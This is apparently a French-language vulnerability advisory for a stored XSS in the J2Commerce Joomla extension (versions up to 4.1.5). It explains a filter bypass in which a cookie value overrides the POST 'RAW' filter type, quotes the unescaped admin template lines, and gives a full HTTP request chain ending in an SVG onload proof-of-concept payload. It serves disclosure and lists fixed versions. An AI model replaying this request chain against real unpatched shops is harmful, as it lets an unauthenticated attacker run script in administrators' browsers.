
XSS stocké dans le paiement invité de J2Commerce via contournement du filtre de cookies
J2Commerce (com_j2store) ≤ 4.1.5 — Un attaquant non authentifié stocke une charge XSS qui s'exécute automatiquement dans le navigateur de l'administrateur au chargement de la page
J2Commerce 4.1.5 est vulnérable au Cross-Site Scripting (XSS) stocké via les champs d'adresse de facturation de la commande en tant qu'invité. Un attaquant non authentifié exploite un contournement de filtre dans Input::getArray() de Joomla combiné à variables_order=EGPCS de PHP (le cookie remplace POST dans $_REQUEST) pour stocker du HTML non assaini dans des champs tels que billing_first_name. Ces champs sont renvoyés directement dans le panneau de gestion des commandes de l'administrateur sans , ce qui provoque l'exécution de la charge dans le navigateur de l'administrateur.
htmlspecialchars()La charge XSS se déclenche automatiquement au chargement de la page lorsque l'administrateur accède à la liste des commandes — aucun clic sur une commande individuelle n'est requis. Une seule chaîne de requêtes HTTP (ajout au panier → soumission de la commande avec contournement par cookie → validation de la commande) stocke définitivement la charge, qui s'exécutera dans le navigateur de chaque administrateur jusqu'à ce que la commande soit supprimée ou que la vulnérabilité soit corrigée.
L'attaque ne nécessite aucune authentification de la part de l'attaquant. La commande en tant qu'invité est une fonctionnalité standard et généralement activée des sites de commerce électronique, ce qui incite économiquement les administrateurs à consulter les nouvelles commandes — rendant l'exploitation triviale à industrialiser.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| J2Commerce (com_j2store) | 1.0.0 – 4.1.5 | 4.1.5 sur Joomla 5.4.7 + MySQL 8.0 | 3.3.21 / 4.0.21 / 4.1.6 |
Type : Cross-Site Scripting — stocké (CWE-79)
Authentification requise : Aucune — non authentifié (commande en tant qu'invité)
Sink principal : administrator/components/com_j2store/views/orders/tmpl/default_items.php:73
Chemin d'écriture : components/com_j2store/controllers/checkouts.php:535
La vulnérabilité résulte de deux faiblesses combinées : un contournement du filtre d'entrée au niveau du chemin d'écriture et un encodage de sortie manquant au niveau du chemin de lecture.
1. Contournement du filtre d'entrée — mauvaise utilisation de Input::getArray() de Joomla
Le contrôleur de commande en tant qu'invité de J2Commerce lit les champs d'adresse à l'aide de $app->input->getArray($_POST). L'implémentation de Joomla parcourt le tableau $_POST et utilise chaque valeur comme type de filtre (et non comme donnée), tout en lisant la valeur réelle depuis $_REQUEST :
COMPONENTS/COM_J2STORE/CONTROLLERS/CHECKOUTS.PHP:535 — CHEMIN D'ÉCRITURE
$data = $app->input->getArray($_POST);
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — MÉTHODE GETARRAY() (LIGNE 187)
public function getArray(array $vars = [], $datasource = null)
{
foreach ($vars as $k => $v) {
$results[$k] = $this->get($k, null, $v); // $k = field name, $v = POST value used as filter TYPE
}
}
LIBRARIES/VENDOR/JOOMLA/INPUT/SRC/INPUT.PHP — SOURCE DE DONNÉES (LIGNE 97)
$this->data = $source ?? $_REQUEST; // Reads from $_REQUEST, not $_POST
2. PHP variables_order — Le cookie remplace POST dans $_REQUEST
$_REQUEST de PHP est une superglobale fusionnée construite à partir de $_GET, $_POST et $_COOKIE. Lorsque variables_order=EGPCS (la valeur par défaut compilée pour la plupart des environnements PHP), Cookie (C) apparaît après POST (P), donc le cookie l'emporte pour les clés conflictuelles.
Soumettre first_name=RAW dans le corps POST amène InputFilter::clean() de Joomla à appliquer le type de filtre 'Raw' (sans opération) à la valeur du cookie first_name=<svg...>, qui l'emporte dans $_REQUEST.
LIBRARIES/VENDOR/JOOMLA/FILTER/SRC/INPUTFILTER.PHP — MÉTHODE CLEAN() (LIGNE 215)
$type = ucfirst(strtolower($type)); // 'RAW' → 'Raw'
if ($type === 'Raw') {
return $source; // ← no sanitization — returns cookie value unchanged
}
Résultat final : Le corps POST first_name=RAW définit le filtre comme sans opération. Le cookie first_name=<svg onload="alert(document.domain)"> l'emporte dans $_REQUEST. Joomla renvoie la valeur du cookie sans filtrage. J2Commerce la stocke brute dans j2store_orderinfos.billing_first_name.
3. Encodage de sortie manquant — points de sortie des modèles d'administration
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDERS/TMPL/DEFAULT_ITEMS.PHP:73 — POINT DE SORTIE PRINCIPAL (se déclenche au chargement de la page de liste)
// Vulnerable — no htmlspecialchars():
<span class="me-1"><?php echo $row->billing_first_name .' '.$row->billing_last_name; ?></span>
ADMINISTRATOR/COMPONENTS/COM_J2STORE/VIEWS/ORDER/TMPL/FORM_CUSTOMER.PHP:56 — POINT DE SORTIE SECONDAIRE
// Vulnerable — no htmlspecialchars():
<?php echo '<strong>'.$this->orderinfo->billing_first_name." ".$this->orderinfo->billing_last_name."</strong>"; ?>
<?php echo $this->orderinfo->billing_address_1;?>
<?php echo $this->orderinfo->billing_city;?>
<?php echo $this->orderinfo->billing_phone_1; ?>
Ce contournement fonctionne sur tous les environnements PHP, sauf Debian/Ubuntu (qui définit explicitement request_order = "GP", excluant les cookies de $_REQUEST). Tous les autres environnements d'hébergement majeurs — hébergement mutualisé cPanel/Plesk, CentOS/RHEL, XAMPP/WAMP/MAMP, Windows IIS — retombent sur EGPCS, ce qui rend la substitution par cookie active par défaut sans aucune modification de configuration requise.
Ouvrez la liste des commandes administrateur J2Commerce en tant qu'administrateur victime. Cela confirme que l'administrateur utilise activement le panneau et rencontrera la charge lors de sa prochaine visite.

En tant qu'attaquant non authentifié, envoyez une requête GET à la page d'accueil frontend de J2Commerce pour établir une session et extraire le jeton CSRF intégré dans les options JSON de la page. Ce jeton est requis pour les requêtes POST ultérieures.

Ajoutez un produit au panier de l'attaquant. Le panier doit être non vide pour que le point de terminaison de commande invité accepte la soumission de l'adresse.
POST /index.php?option=com_j2store&view=carts&task=addItem&ajax=1 HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
product_id=&j2store_variant_id=&quantity=1&<csrf_token>=1

Soumettez le formulaire d'adresse de commande invité avec deux valeurs conflictuelles pour first_name :
first_name=RAW — Joomla interprète cela comme le type de filtre (sans opération)first_name=<svg...> — celui-ci l'emporte dans $_REQUEST (PHP EGPCS : Cookie > POST) et est renvoyé sans filtragePOST /index.php?option=com_j2store&view=checkout&task=guest_validate HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Cookie: <joomla_session>=<session_value>; first_name=%3Csvg+xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22+onload%3D%22alert%28document.domain%29%22%3E%3C%2Fsvg%3E
first_name=RAW&last_name=Attacker&address_1=1+Evil+St&city=HackCity&zip=12345&country_id=223&zone_id=62&phone_1=0123456789&phone_2=0123456789&email=attacker%40evil.com&<csrf_token>=1

Soumettez l'étape d'adresse de livraison en utilisant le même contournement par cookie. Cette étape définit le pays de livraison en session — l'ignorer provoque une erreur "SHIPPING_ADDRESS_NOT_FOUND" aux étapes suivantes.

Sélectionnez le mode de paiement (paiement à la livraison). Le champ payment_plugin n'est pas une entrée texte susceptible d'être vulnérable aux XSS.
POST /index.php?option=com_j2store&view=checkout&task=shipping_payment_method_validate HTTP/1.1
payment_plugin=payment_cash&<csrf_token>=1

Soumettez l'étape de confirmation pour recevoir la page de récapitulatif de commande contenant un champ hash caché. Ce hash est requis pour finaliser la commande.
POST /index.php?option=com_j2store&view=checkout&task=confirm HTTP/1.1
accept_terms=1&<csrf_token>=1

Finalisez la commande en utilisant le hash de l'étape précédente. Le serveur crée l'enregistrement de commande dans joom_j2store_orderinfos avec billing_first_name défini sur la charge XSS brute.
POST /index.php?option=com_j2store&view=checkout&task=confirmPayment HTTP/1.1
hash=<hash_from_step7>&<csrf_token>=1

En tant qu'administrateur victime, accédez à la liste des commandes J2Commerce. La charge XSS se déclenche immédiatement au chargement de la page — aucun clic requis. Le modèle default_items.php:73 rend billing_first_name sans échappement dans la colonne Client.
Lorsque l'administrateur consulte la commande, la réponse du serveur inclut :
<strong><svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"></svg> Attacker</strong>
